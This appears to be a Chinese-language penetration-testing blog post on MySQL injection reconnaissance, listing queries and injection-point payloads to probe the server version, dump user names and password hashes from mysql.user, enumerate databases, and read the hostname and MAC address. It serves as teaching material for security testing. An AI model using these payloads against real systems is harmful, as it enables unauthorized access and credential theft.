mysql注入學習2(資料庫信息收集)

mysql注入學習2(資料庫信息收集)

來自專欄 雜術館

測試mysql版本

在我們滲透測試過程中,對於數據的收集是非常重要的一個環節。下面是測試當前資料庫的版本信息,主要用到的內置函數有:

VERSION() @@VERSION @@GLOBAL.VERSION

例如使用這個查詢的語句:

SELECT * FROM Users WHERE id = 1 AND MID(VERSION(),1,1) = 5;

除了我們可以使用上述方法來做查詢,我們還可以使用注釋中的特殊字元串來做相關的判斷:

/*!VERSION 特殊字元串*/

具體使用方法如下:

首先我們使用的查詢字元串是: SELECT * FROM Users limit 1,{INJECTION POINT};

1 /*!50094eaea*/; False - 版本大於或者等於 5.00.94 1 /*!50096eaea*/; True - 版本小於 5.00.96 1 /*!50095eaea*/; False - 版本等於 5.00.95

注釋:有關MySQL的更多使用方法請參考MySQL詳細說明

資料庫的賬號許可權

在我們滲透測試過程中,資料庫賬號的許可權決定這下一步該怎麼去做。高許可權的賬號可以讀取文件,寫文件以及執行命令等,所以我們需要認真的掌握這塊的知識。

| Table | mysql.user |

| —————— |:——————-:|

| Columns | user, password |

| Current User | user(), current_user(), current_user, system_user(), session_user() |

具體使用的查詢字元串如下:

SELECT current_user; SELECT CONCAT_WS(0x3A, user, password) FROM mysql.user WHERE user = root-- (Privileged)

資料庫名稱

下面是將怎麼樣在注入的過程中查詢有哪些資料庫的知識,詳細的信息如下:

Tablesinformation_schema.schemata, mysql.dbColumnsschema_name, dbCurrent DBdatabase(), schema()

具體使用方法如下:

SELECT database(); SELECT schema_name FROM information_schema.schemata; SELECT DISTINCT(db) FROM mysql.db;-- (Privileged)

資料庫的機器名

查詢資料庫所在伺服器的機器名的內置函數是@@HOSTNAME。其用法很簡單,如下:

SELECT @@hostname;

資料庫的MAC地址查詢

查詢資料庫所在伺服器的機器名的內置函數是uuid()。其用法很簡單,如下:

SELECT uuid();

查詢結果為:

+--------------------------------------+ | 1d5969a3-1a90-11e7-9e5c-000c29a31a50 | +--------------------------------------+

aaa


推薦閱讀:

有哪些好用的滲透測試演練系統?
DVWA Vulnerability: Reflected Cross Site Scripting (XSS)
龍翔,我終於找到你了
htaccess文件的利用技巧

TAG:滲透測試 | 白帽黑客WhiteHat | 網路滲透 |